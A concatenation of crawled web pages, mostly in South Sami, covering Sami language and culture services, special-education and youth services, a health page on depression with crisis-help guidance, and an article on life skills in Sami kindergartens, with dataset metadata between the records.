jïh bielietïjjen lïerehtimmien bïjre seedtesåvva Statpeden åejviekontovrese.\nOhtseme indivijdebaseradamme dïenesji bïjre edtja nommevæhtam utnedh daejstie\n- eejhtegh, dah mah leah eejhtegi åvteste, jallh almetje jïjtje dastegh satne lea bijjelen 15 jaepieh jïh luhpiehtimmiemaahtoem åtna\n- PPD:n åvtehke\n- almetje reereles jïh ekonomeles dïedtine tjïeltesne jallh fylhkentjïeltesne\nDatne barkoem åtnah maanagiertesne, skuvlesne jallh geervelïerehtimmesne?\nSæjrosne statped.no\/fag datne maahtah bïevnesh gaavnedh sjïerepedagogeles teemaj bïjre. Maahta dejtie bïevnesidie barkosne nuhtjedh maanagïertine jïh skuvline.\nMaanagïertide, skuvlide jïh geervelïerehtæmman maahta sjyöhtehke årrodh dovne indivijde- jïh systeemebaseradamme dïenesjigujmie.\nDastegh daerpies dïenesjigujmie Statpedeste, govlehtallh dov voenges PP-dïenesjinie.\nDatne barkoem åtnah healsoesuerkesne?\nSaehteme healsoesuerkeste edtja seedtesovvedh dan Statped-regijovnese gusnie utnije årroeminie. Saehtemh healsoesuerkeste maehtieh båetedh aamhtesi bïjre gusnie latjkoeh leah dorjeme Statped edtja dagkerh dïenesjh vedtedh.\nDagkeri veajkoej ij leah daerpies Statpeden ohtsemegoerem nuhtjedh. Dagkerh saehtemh gïetesuvvieh goh ohtseme indivijdebaseradamme dïenesji bïjre. Vielie bïevnesh dan bïjre maahtah gaavnedh sæjrosne statped.no.\nDov gyhtjelassh Statpedese?\nStatped aktem elektrovneles \"kruana linjam\" evtedeminie mij lea akte gyhtjelasse-vaestiedassedïenesje sæjrosne statped.no. Daesnie maahtah gyhtjelassh gihtjedh mejtie mijjen faagebarkijh vaestiedieh.\nGoske daate dïenesje lea tseegkesovveme, maahtah Statpedem govlesadtedh mejlen tjïrrh email@example.com.\nDov naan gyhtjelassh mah leah såemies Statpeden gærjaj, filmi jïh plearoej bïjre, maahtah e-påastem seedtedh diekie: firstname.lastname@example.org.\nSïjhth materijellem dongkedh Statpedeste?\nSïjhth materijellem Statpedeste dongkedh? Sæjrosne statped.no\/laeringsressurs aktem bijjieguvviem gaavnh dej aatigujmie mah leah evtiedamme, bæjhkoehtamme jïh doekemasse bïejesovveme Statpedese. Lissine aktem bijjieguvviem gaavnh jeatjah sjïerepedagogeles materijelligujmie.\nSide 5 av 7","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/statped--akte-bielie-lierehtimmiesuerkeste\/faage-jih-dienesjefaalenasse\/guktie-dienesji-bijre-syokedh-statpedeste\/","date":"2022-12-09T05:12:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711390.55\/warc\/CC-MAIN-20221209043931-20221209073931-00221.warc.gz","language":"sma","language_score":0.9999921322,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999921321868896}","num_words":257,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelejarnge Gïelem Nastedh aktem åarjelsaemien biejjielåhkoem dorjeme Åarjel-saemiej skuvlen learohkigujmie ektine.\nLearohkh leah guvviedamme jïh aktem tjaalegem saemiengïelesne tjaaleme fïerhten askese. Daate biejjielåhkoe ajve åarjelsaemien gïelesne, jïh datne maahtah dam Saemien Sijtesne åestedh jallh dam dongkedh daesnie; www.saemiensijte.no Åasta 100,-\nSpråksentert Gïelem Nastedh har laget en sørsamisk årskalender sammen med elevene på Åarjel-saemiej skuvle.\nElevene har illustrert bilder og skrevet en tekst på samisk til hver måned. Denne kalenderen er kun på sørsamisk og kan kjøpes hos Saemien sijte.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/gielemnastedh.no\/2013\/12\/sorsamisk-kalender-2014\/","date":"2023-02-06T05:34:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500304.90\/warc\/CC-MAIN-20230206051215-20230206081215-00091.warc.gz","language":"sma","language_score":0.9991636276,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9991636276245117}","num_words":78,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien dïedte\nTrööndelagen fylhkentjïelte lea akte dejstie njieljie reeremefylhkentjïeltijste mej dïedte saemien gïelen jïh kultuvren åvteste. Trööndelage lea dïhte stööremes bielie åarjelsaemien dajveste mij lea Helgelaanten luvhtie noerhtene Engerdalen gåajkoe åarjene. Daelie fylhkentjïelten nænnoesåbpoe råålla goh siebriedahkeevtiedæjja. Daate sæjhta gaskem jeatjah jiehtedh fylhkentjïelte enn stuerebe dïedtem åådtje saemien gïelem, kultuvrem jïh siebriedahkejieledem evtiedidh, nænnoestidh jïh våajnoes darjodh.\nLaavenjostoelatjkoe Saemiedigkien jïh Trööndelagen fylhkentjïelten gaskem, man bïjre seamadin 13.12.2018, evtiedimmiem saemien kultuvre- jïh siebriedahkesuerkijste buerkeste. Trööndelagen fylhkentjïelte lea joekoen leavloem bïejeme daejtie suerkide latjkosne:\n• Regijonaale soejkesjimmie jïh areaalereereme\n• Almetjehealsoe- healsoe jïh sosijaaledïenesjh\n• Staarepolitihke\n• Lïerehtimmie\n• Jieleme\n• Tjeahpoe jïh kultuvre\n• Kultuvremojhtesereereme\n• Gïele\n• Åtnoem saemien gïeleste lissiehtidh\n• Daajroem jïh maahtoem saemien gïelen bïjre nænnoestidh\n• Saemien gaavnedimmiesijjieh gorredidh jïh evtiedidh\n• Jåarhkelïerehtimmiem åarjelsaemien gïelesne, båatsosne jïh duedtesne faalehtidh\nTrööndelagen fylhkentjïelte lea Saemien Raeriem\/Samisk råd tseegkeme. Raeresne politihkerh, tjirkijh saemien siebrijste, reeremistie jïh universiteeteste. Maahtah meatan fulkedh mej aamhtesigujmie raerie barka daesnie.\nÅarjelsaemien dajvesne Trööndelagen fylhkentjïelte laavenjostoem åtna gïelejarngigujmie Sïjti Jarnge Aarbortesne, Gïeleaernie Raarvihkesne, Gïelem nastedh Snåasesne jïh Aajege Rørosesne.\nLissine Trööndelagen fylhkentjïelte jïh Trööndelagen Fylhkenålma laavenjostoelatjkoem utnieh Nordlaanten fylhkentjïeltine jïh Nordlaanten Fylhkenålmine åarjelsaemien lohkehtæjjaviermien bïjre. Viermie gaajhkh lohkehtæjjah gaajhkine njieptjine skuvlevierhkesne feerhmie. Viermien åvtehke daelie Kråangken jåarhkeskuvlesne barka.\nJeatjah sjyöhtehke svaalhtesh:\nDåarjoe prosjektide mah gïelem jïh kultuvrem eevtjieh:\nGærjabusse:","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.trondelagfylke.no\/aarjelsaemien\/","date":"2023-02-06T20:09:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500357.3\/warc\/CC-MAIN-20230206181343-20230206211343-00456.warc.gz","language":"sma","language_score":0.9999730587,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999730587005615}","num_words":201,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.169,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MinUng åarjelsaemiengïele\nHijven daejredh\nTjïelte laavenjassem åtna maanaj jïh noeri nuepieh tsevtsemasse freemmedh jïh dam darjodh hammojne mij sjeahta dutnjien gie noere. Datne gie naaken dejstie nasjonaale unnebelåhkojste edtja aaj nuepiem vadtasåvva kulturellen identiteetem evtiedidh jïh dov unnebelåhkoegïelem nuhtjedh. Dejnie våaroeminie lea tjïelte forumem MinUng skaepiedamme.\nMinUng dutnjien gie 13 jïh 25 jaepien gaskem jïh naaken Sveerjen nasjonaale unnebelåhkosne. MinUng lea naemhtie tjïelte bööresåvva ræhpas forumasse maanide jïh noeride gaajhkijste nasjonaale unnebelåhkojste. Dah leah tjåanghkoeh gusnie datne jïh jeatjah maanah jïh noerh maehtede soptsestidh maam datne sïjhth tjïelte edtja darjodh jïh mah vihkeles dutnjien guktie datne edtjh maehtedh dov identiteetem, dov kultuvrem jïh dov unnebelåhkoegïelem evtiedidh jïh skreejedh.\nMaam datne tuhtjh lea vihkeles? Dov leah vuajnoeh jallh gyhtjelassh MinUng:en bïjre, gaskesadth dellie tjïelten unnebelåhkoeiktedæjjam jallh kultuvrestrategem gaskesadtemejarngen tjïrrh.\nGaskesadteme\nGaskesadtemejarnge ajve daaroste\nGaskesadtemejarnge\nTelefovne: 0660-880 00\nRæhpastïjjh telefovne: 07:30–17:00 hïeljehts aarkebiejjieh (suehpeden 15.b. – skïereden 15.b. 07:30–16:15)\nE-påaste: email@example.com\nGåassoehtimmieadressh\nGåassoehtimmiejarnge staaregåetie Kronan: Järnvägsgatan 6, entréplan\nRæhpastïjjh gåassoehtimmiejarnge Kronan: 07:45–17:00 gaajhkh hïeljehts aarkebiejjieh (suehpeden 15.b.– skïereden 15.b. 07:45–16:15)\nDåastove staaregåetie Nygatan: Nygatan 16, plan 1\nRæhpastïjjh dåastove Nygatan: 07:45–16:30 gaajhkh hïeljehts aarkebiejjieh, beapmoegaptjeme 11:30–12:30 (suehpeden 15.b. – skïereden 15.b. (07:45–15:45)","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.ornskoldsvik.se\/aarjelsaemiengiele\/minung-aarjelsaemiengiele","date":"2023-02-06T18:57:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500357.3\/warc\/CC-MAIN-20230206181343-20230206211343-00479.warc.gz","language":"sma","language_score":0.99996984,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999698400497437}","num_words":174,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Omsorg människor emellan är en självklar del av livet för de allra flesta. Många anhöriga gör en stor insats genom att hjälpa och stötta någon närstående som har en funktionsnedsättning, är sjuk eller äldre. Att ge omsorg kan handla om att hjälpa till med praktiska sysslor, personlig omvårdnad, sköta ekonomi och att ta kontakter med vården. Det kan också vara omtanke, tillsyn, stimulans och umgänge.\nHoksem almetji gaskoeh lea hævvi biehkiem jieliemisnie gaajhkide. Gellieh lïhkesadtjh stoerre barkoem darjoen juktie viehkiehtieh jïh dåarjoen akten åeliem mij ov-verviem åtna, skïemtjes jallh voeres lea. Hoksem vedtedh maahta årrodh viehkiehtidh ovmessie barkoejgujmie, jïjtsh såjhtoem, ealamadtjine viehkiehtidh jïh gaskesem såjhtojne vaeltedh. Dïhte maahta aaj mojhteleslaakan årrodh, gïehtjedimmiem, skreejrehtimmiem jïh ektine årrodh.\nSenast ändrad\/granskad:","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.stromsund.se\/374.html","date":"2023-01-31T23:30:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499891.42\/warc\/CC-MAIN-20230131222253-20230201012253-00408.warc.gz","language":"sma","language_score":0.9830507636,"language_script":"Latn","minhash_cluster_size":29,"top_langs":"{\"sma_Latn_score\": 0.9830507636070251, \"swe_Latn_score\": 0.015764541923999786}","num_words":118,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.051,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjehealsoe jïh jieledehaalveme goh dåaresthfaageles teema skuvlesne edtja learoehkidie maahtoem vedtedh mij hijven psykiske jïh fysiske healsoem skreejredh, jïh mij nuepieh vadta dïedteles jieledeveeljemem darjodh. Maanaj- jïh noerejaepine lea evtiedimmie positijven jïjtjeguvviem jïh jearsoes identiteetem sjïere vihkeles.\nSiebriedahke mij sjïehteladta fïere guhten hijven healsoeveeljemidie, lea vihkeles åålmehhealsosne. Jieledehaalveme lea maehtedh guarkedh jïh faktorh tsevtsedh mah vihkeles gosse jïjtje jieleden edtja haalvedh. Teema edtja meatan guktie learohkh lierieh mietiemoerem jïh trïegkenassem gïetedidh, jïh persovneles jïh praktihkeles haestemh bööremes vuekine.\nSjyöhtehke suerkieh teeman sisnie lea fysiske jïh psykiske healsoe, jieledevaanoeh, seksualiteete jïh tjoele, ruevsiedaalhkesh, meedijeåtnoe, jïh åtnoe jïh persovneles ekonomije. Vierhtieveeljemh jïh mij jiehtege jieleden mïele sæjhta jiehtedh, gaskealmetjen relasjovnh, maahta raasth bïejedh jïh mubpiej raasth krööhkestidh, jïh maahta åssjelh, domtesh jïh relasjovnh gïetedidh leah aaj daennie teemesne.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/tverrfaglige-temaer\/folkehelse-og-livsmestring\/?kode=tip01-03&lang=sma","date":"2023-02-07T08:09:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500392.45\/warc\/CC-MAIN-20230207071302-20230207101302-00183.warc.gz","language":"sma","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":261,"top_langs":"{\"sma_Latn_score\": 1.0000085830688477}","num_words":126,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dennie tjaalegisnie maahtah lohkedh guktie lea depresjovnem utnedh. Datne åadtjoeh daejredh gusnie edtjh hoksem ohtsedidh. Åadtjoeh aaj raerieh maam jïjtje maahtah darjodh jis datne deprimeredh.\nMij lea depresjovne?\nDovne ålmah jïh nyjsenh maehtieh depresjovnem åadtjodh. Aaj maanah jïh noerh. Vihkeles depresjovnem eensilaakan gïetedidh. Dan guhkebe datne depresjovnesne dellie guhkebe tïjje vaasa åvteli datne maahtah aelkedh buaranidh viht.\nGuktie maahta daejredh depresjovnem åtna?\nMaahtah depresjovnem utnedh jis datne hujnesne, nahkeren jïh sæjloes tïjje mij lea guhkebe enn göökte våhkoeh. Mahte ih gåessegh aavosne jïh ih sïjhth maam akt darjodh. Ij gan maam sïejhme provhkh lyjhkedh darjodh. Gosse depresjovnem åtnah maahtah naemhtie damtedh:\n- Ij maam akt luste jïh ij mestie akt aavodh.\n- Gaajhkh håhkohts demtieh.\n- Ussjedh datne båajhtoeh jallh viertehth.\n- Ussjedh dov fïejle darjomh båajhtoeh juhtieh.\n- Ih maam akt vissjh.\n- Datne måarehks jallh prååsehke.\n- Dov kråahpe baektjede.\n- Ussjedh buerebe jis ih gååvnesh.\nJis damth sïjhth dov jïjtje hïegkem vaeltedh ih edtjh oktegh årrodh. Dellie edtjh viehkiem dallegh ohtsedidh.\nGaskesadth hoksejarngem jallh psykiatrijen ræhpashokse-dåastoehtimmiem jis vïenhth datne jallh gïe akt mubpie depresjovnem åtna. Daesnie maahtah hoksem gaavnedh (hitta vård). Gellie dåastoehtimmieh maahtah gaskesadtedh dan loggedh sïjse (logga in) .\nRingkh telefovnenummerem 1177 jis viehkiem sïjhth gusnie maahtah hoksem ohtsedidh. Dah gïeh vaestiedieh leah skïemtjesåjhterh. Maahtah daaroestidh jallh englaanten gïelem soptsestidh.\nJis fuehpesne\nOhtsedh hoksem ryöktesth hïehkedåastoehtimmesne jis ih guhkebe vissjh jieledh. Kaanne datne damth naaken gie ussjedh jallh soejkesjh dan jïjtje hïegkem vaeltedh?\nViehkehth dellie almetjem hoksem bïeljelidh. Maahtah 112 ringkedh jis vïenhth almetjen hïegke vaahresne.\nMaam deahpede gosse hoksem ohtsedem?\nGosse hoksem ohtsedidh depresjovnen gaavhtan åadtjoeh hoksebarkijem gaavnedidh. Dïhte maahta vuesiehtimmien gaavhtan årrodh dåaktere, skïemtjesåjhtere jallh psykolååge. Datne åadtjoeh gyhtjelassh vaestiedidh guktie datnine. Dah datnem gïehtjedieh jïh pryövenassh datneste vaeltieh.\nHoksebarkiji ektesne maahtah soptsestalledh mij båehtjierdimmide datne maahtah åadtjodh. Dïhte vihkeles datne meatan jïh nænnosth.\nMaahtah vuesiehtimmien gaavhtan viehkiem åadtjodh dov vaanh jorkesidh guktie buaranidh. Maahtah mubpine soptsestidh gie maahta datnem viehkiehtidh jïh dåarjodh. Dïhte gohtje psykoterapije. Gååvnesieh aaj daalhkesh mah maehtieh viehkiehtidh. Jis geerve depresjovnem åtnah maahtah såemies aejkien el-båehtjierdimmiem åadtjodh.\nNaan våhkoej båehtjierdimmine jeenjemesh buaranieh. Men maahta naan askh vaasedh åvteli datne vervies damth. Gïerve depresjovneste maahtah guhkebe tïjje åvteli vervies, kaanne jaepiem.\nMaam maahtam jïjtje darjodh?\nGååvnesieh darjomh mejstie buerebe damtedh. Njaelkieslaakan åeredh, hijven jïh daamhtaj byöpmedidh jïh svihtjedh vihkeles guktie hijven utnedh.\nDïhte hijven jis ih alkohovlem jovkh. Jis datne depresjovnesne jïh voejhkelh jovkedh guktie buerebe damtedh maahta depresjovne vïerrebe sjædta. Maahta aaj guhkebe tïjje vaeltedh åvteli buarenh.\nGuktie maahtam mubpiem viehkiehtidh?\nGoltelh dïsse gie skïemtjede jïh voejhkelh tsevtsedh almetjem guktie hoksem ohtsede. Soptsesth gååvnese båehtjierdimmiem mij viehkehte. Faalh hokseguassastallemasse dåeriedidh. Aellieh orrijh jis almetje ij sïjhth viehkiem. Gihtjh ikth vielie.\nMaahtah aaj jïjtje viehkiem daarpesjidh guktie åajsoeh skïemtjijem dåarjodh. Maahtah aaj daarpesjidh giejnie akt soptsestalledh dov tsiehkiej bïjre.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.1177.se\/sma-se\/Jamtland-Harjedalen\/other-languages\/other-languages\/ma-daligt---andra-sprak\/depression---andra-sprak\/","date":"2023-01-30T21:58:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499829.29\/warc\/CC-MAIN-20230130201044-20230130231044-00736.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":448,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate tjaalege lidteratuvregïehtjelimmiem saemien maanaj jïh jieledehaalvemen bïjre maanagïertesne våaroeminie åtna, jïh vuesehte mij lea daerpies ihke saemien maanah edtjieh jieledehaalvemem maanagïertesne dååjredh. Saemien nasjonaale maahtoejarnge (SANKS) lea goerehtimmiem maakseme.1 Göökte suerkieh mah åvtese vaaltasuvvieh: Byjresh mah jieledehaalvemem eevtjieh jïh dååjrese ektiedimmeste.\nHer kan du lese artikkelen på norsk. Og her kan du lese den på nordsamisk. Mij jieledehaalveme?\nJieledehaalveme lea vïedteldihkie aarvoevåaroemasse learoe- soejkesjisnie gusnie veanhtede maanagïerth edtjieh «jieledehaalveminie jïh healsojne» barkedh (Maahtoedepartemeente, 2017). Ij leah baakoetjïertem tjïelkestamme mieriesoejkesjisnie. Men mieriesoejkesje vihkeles baakoetjïerth tjïerteste goh heerredimmie jïh healsoe-eevtjeme. Daate sæjhta jiehtedh maanaj fysiske jïh psykiske healsoe, tråjjem, jielede-aavoem, haalvemem jïh jïjtse-aarvoem eevtjedh. Aaj sæjhta jiehtedh ektiespïelem, ektievoetem jïh vïenevoetem eevtjedh jïh jïjtse jïh mubpiej domtesigujmie åahpenidh. Sæjhta jiehtedh maanide dåarjoehtidh trïegkenassem haalvedh, haestemh gïetedidh jïh hijven lïegkedimmievoeth, nahkerevoeth, beapmoevoeth jïh fysiske darjomevoeth tseegkedh. Lissine daejtie suerkide dle WHO:n (2003) tjïelkestimmie jieledehaalvemistie aaj meatan åtna jarkelimmieh byjreskinie, juktie hijven psykososijaale byjresh sjugniedidh.\nÅvtehke Morten Berg Suaja Maanagïertesne Snåasesne Jåvvese dam saemien jaepiegievliem vuesehte, mij lea vihkeles bielie maanagïerten pedagogihkeste.\nIllustrasjovneguvvie: Leikny Havik Skjærseth\nAalkoeåålmege\nLea jïebne lissiehtimmie saemien maanagïertijste Nöörjesne orreme. Jaepien 2019 lij 65 ovmessie saemien goevtesh jallh maanagïerth abpe Nöörjesne. Saemien maanah edtjjieh maanaj saemien identiteetem nænnoestidh, jïh saemien aarvoeh, saemien kultuvrem jïh aerpievuekien daajroem jåerhkedh (Maahtoedepartemeente 2017). Saemien maanah leah unnebelåhkoe, aalkoeåålmegidie govlesuvvieh jïh bielie aktede kollektivisteles seabradahkeste. Dah leah bieline gelliengïeleldh jïh gellienkulturelle kontekstine, jïh saemien maanah maehtieh dovne seammalaakan jïh joekehts årrodh goh daaroen maanah.\nDååjrese ektiedimmeste\nBaakoetjïerte dååjrese ektiedimmeste (DE) Antonovskyn teorijeste båata. Antonovsky mijjen healsoem dååjresasse ektiedimmeste (DE) ektede, jïh mejtie maehtebe mijjen aarkebiejjiem guarkedh jïh gïetedidh jïh mejtie tuhtjebe mijjen aarkebiejjie mïelem vadta. Dïhte tjïerteste unnemes njieljie faktovrh tjuerieh stïeresne årrodh ihke almetjh edtjieh aktem nænnoes dååjresem ektiedimmeste evtiedidh: Darjomh mah mïelem vedtieh, eksistensielle refleksjovne, gaskese sisnjelds domtesigujmie jïh sosijaale relasjovnh (Lindström & Eriksson, 2015).\nMaanaj jieledehaalvemem nænnoste\nVååjnoe goh vihkeles faktovre juktie saemien maanaj jieledehaalvemem eevtjedh lea gosse maanagïerte saemien gïelem jïh kultuvrem eevtjie, naemhtie guktie maana ektiedimmiem dååjroe maanagïerten pedagogihken jïh hïejmen bijjiedimmien gaskem. Dan åvteste vihkele maanagïerten leah barkijh mah saemien gïelem jïh kultuvrem demtieh.\nGoerehtimmieh vuesiehtieh gosse saemien maanah ektiedimmiem dååjroeh maanagïerten pedagogihken jïh bijjiedimmien gaskem maam gåetesne åadtjoeh, dellie dïhte jieledehaalvemem vadta. Alfred daajroem saemien jaepiegievlien bïjre åådtje Suaja Maanagïertesne Snåasesne.\nIllustrasjovneguvvie: Leikny Havik Skjærseth\nAktene kollektivisteles kultuvresne, goh saemien kultuvre, jienebh geerve almetjh leah ïedtjije meatan maanaj evtiedimmesne (Nergård 2011; Jávo 2010, s 67). Maanaj jieledehaalvemem nænnoestidh sæjhta dan åvteste årrodh vïedteldimmiem seabradahkese maanan bïjre nænnoestidh. Daesnie maanagïerte maahta maanaj lïhke almetjh maanagïerten ålkolen dåarjojne utnedh. Stoerrefuelhkie, maadtoeladtjh jïh krist-eejhtegh leah maanan sosijaale viermie, jïh maehtieh psykososijaale dåarjoem vedtedh. Tjoevkesisnie daestie maahta sån måjhtelidh saemien fuelhkiej maanagïerte – hïejme-laavenjostoe byöroe væjranidh guktie aaj sïejhme maadtoeladtjigujmie jïh sïjtigujmie laavenjostoe, juktie maanan jieledehaalvemem jïh dååjresem ektiedimmeste nænnoestidh.\nSaemien eatnemegoerkese\nDE:ine barkedh sæjhta aaj aarvoem bïejedh vihkeles aarvojde saemien eatnemegoerkesisnie jïh aerpievuekien jielieminie maanagïertesne, goh gaektsie jaepieboelhki gievliem nuhtjedh, jallh meatan årrodh båatsosne. Aarvoeh saemien kultuvresne sijhtieh baajnehtidh dam mij jieledehaalvemem eevtjie saemien maanaj luvnie.\nSaemien kultuvresne daamtaj veanhtede maanah edtjieh vielie jïjtjeraarehke dåemiedidh goh nöörjen kultuvresne. Saemien maanah maehtieh vaenebh vihties njoelkedassh jïh jienebh ovryöktesth kulturelle kodadamme giehtjedimmievuekieh utnedh (goh naakenidie beltedh staaloejgujmie). Akte veanhtadimmie saemien maanah leah jïjtjeraarehke jïh jïjtjh stuvrieh gåessie edtjieh byöpmedidh, åeredh jïh aaj jeatjah bielieh aarkebiejjeste stuvrieh (Stoor, 2016; Jávo, 2010). Dagkeres ussjedimmie maahta nöörjen pedagogi jaahkoem aarkebiejjien rutijni bïjre vuastalidh, juktie maanaj jieledehaalvemem nænnoestidh. Jis edtja maanaj dååjresem ektiedimmeste nænnoestidh gosse tsiehkiem måjhtele hïejmen jïh maanagïerten gaskem dellie vihkeles voestegh rutijnide eejhtegigujmie digkiedidh juktie åadtjodh daejredh mah rutijnh dah gåetesne utnieh. Dan mænngan daerpies maanagïerte aktem fleksibiliteetese sjïehteladta, mij dovne maahta saemien aerpievuekiej mietie årrodh jïh maanagïerten ektievoeten mietie.\nJieledehaalveme ij leah maanan dïedte\nMaahta geerve årrodh jieledehaalvemem gellide aktegsfaktovridie giehpiedidh mejtie maana tjuara haalvedh juktie eensi evtiedimmiem utnedh jïh hijven årroejinie seabradahkesne sjïdtedh, dan åvteste dïhte sæjhta maanagïerteaavoen gellievoetem jïh ræjhkoesvoetem giehpiedidh (Bjærke, jïh jienebh 2019). Histovrijen tjïrrh saemien maanaj ööhpehtimmieinstitusjovnh nöörjen kultuvrem våaroeminie åtneme (koloniseradimmie). Gosse maanagïerth sjugnede mah saemien kultuvrem våaroeminie utnieh, saemien maanah maehtieh faalenassem maanagïerti bïjre åadtjodh mah leah hïejmen jïh lïhkes byjresen kultuvren mietie. Ij leah saemien maanaj dïedte psykososijaale haestemh haalvedh mej skåltoe lea akte pedagogeles faalenasse mij ij maanaj kultuvrem jïh gïelem våaroeminie utnieh.\nProfesjovneråålla vihkele\nSaemien maanagïerte barkijh daarpesje mej daajroe saemien kultuvren, aerpievuekiej jïh jielemi bïjre. Nuerebe barkijh daamtaj vaenebe kulturelle maahtoem utnieh duedtien, saemien beapmoevuekiej jïh soptsestimmievuekiej bïjre goh båarasåbpoe barkijh (Saemiedigkie 2013). Maanagïertebarkiji profesjovneråålla sæjhta jiehtedh jïjtse identiteeten, gïelen, kultuvren jïh aerpievuekien bijjeli ussjedadtedh, jïh jïjtjemse bieline dehtie saemien institusjovneste vuejnedh. Maanagïertesne barkedh aaj kreava laejhtehkslaakan ussjedadtedh gosse edtja didaktihkeles sisvegem jïh sosijaale praksisem veeljedh. Jis maanagïerte goh saemien institusjovne ij veanhtadimmieh saemien barkiji barkoeråållese utnieh, saemien identiteete vuajnelge goh akte jïjtse dïedte, jïh ij goh institusjovnen dïedte (Storjord 2008, s. 211).\nGeajnoe guhkiebasse\nDïhte maam mijjieh daan mearan digkiedamme maanaj psykososijaale funksjovnem aarkebiejjien baajnehte. Maehtebe jieledehaalvemem guarkedh goh tsiehkieh heerredidh mah maanide sååjrehke darjoeh jïh vaejvieh vedtieh (Drugli & Lekdahl 2018). Gosse barkebe saemien byjresh maanan bïjre nænnoestidh, maehtebe viehkiehtidh åvtetje aejkien assimilasjovne- jïh koloniseradimmiehistovrijem tsööpkestidh. Saemiej identiteete goh aalkoeåålmege, ij leah ajve solidariteeten bïjre sinsitnine, men aaj ekosysteemine (Nystad jïh jienebh 2014, s. 653). Daate sæjhta hijven våaroe-minie årrodh gosse saemien maanagïerte jieledehaalveminie barka. Akte haesteme vuekiem gaavnedh guktie edtja saemien maanagïerth evtiedidh juktie saemien kultuvrem gorredidh jïh evtiedidh, jïh seamma tïjjen voerkes årrodh voenges joekehtsh saemiej luvnie gorredidh, dovne staaredajvine jïh unnebe sijjine abpe laantesne.\nSaemien kultuvre ij leah tjåadtjoen, jïh dovne bijjiedimmie jïh pedagogihke stoerre jeerehtsh utnieh dovne nöörjen jïh saemien kultuvresne. Saemien maanagïerth leah joekehts. Såemies lehkesne saemien aalkoeåålmege unnebelåhkosne, jeatjah lehkesne jienebelåhkosne (Sisnjelds Finnmarhke). Abpesaemien perspektijvh leah måjhtelidh saemieh abpe Noerhtekalohtesne jïh Russlaantene veasoeminie (Saepmie) jïh saemiej leah jienebh gïelh (Saemiedigkie, 2013). Saemien kultuvrem jïh gïelem nænnoestidh dejnie aajkojne jieledehaalvemem vedtedh, ij maehtieh seammalaakan dorjesovvedh abpe Saepmesne. Akte råajvarimmie juktie saemien gïelem jïh kultuvrem vaarjelidh maahta årrodh saemien maanide sijjiem vedtedh saemien maanagïertesne, naakede maam eah gaajhkh saemien maanah åadtjoeh daan biejjien.\n1 Tjaalege lea åeniedamme jïh jeatjahtahteme versjovne daehtie tjaalegistie: Bjerklund, M. & Åmot, I. (2020). Livsmestring i den samiske barnehagen. Nordisk tidsskrift for pedagogikk og kritikk. Nr. 7. Lidteratuvre\nAntonovsky, A. (2012). Helsens mysterium. Den salutogene modellen. Oslo: Gyldendal Akademisk.\nBjærke, L.O, Huth, Y. & Aandstad, I. (2019). Å lære barna livsmestring i barnehagen er ikke så enkelt som det kan se ut som. Utdanningsnytt.no https:\/\/www.utdanningsnytt.no\/fagartikkel\/a-laere-barna-livsmestring-i- barnehagen-er-ikke-sa-enkelt-som-det-kan-se-ut-som\/111714\nDrugli, M.B. & Lekhal, R., (2018). Livsmestring og psykisk helse. Oslo: Cappelen Damm Akademisk.\nJàvo, C., (2010). Kulturens betydning for oppdragelse og atferdsproblemer. Transkulturell forståelse. Veiledning og behandling. Oslo: Universitets- 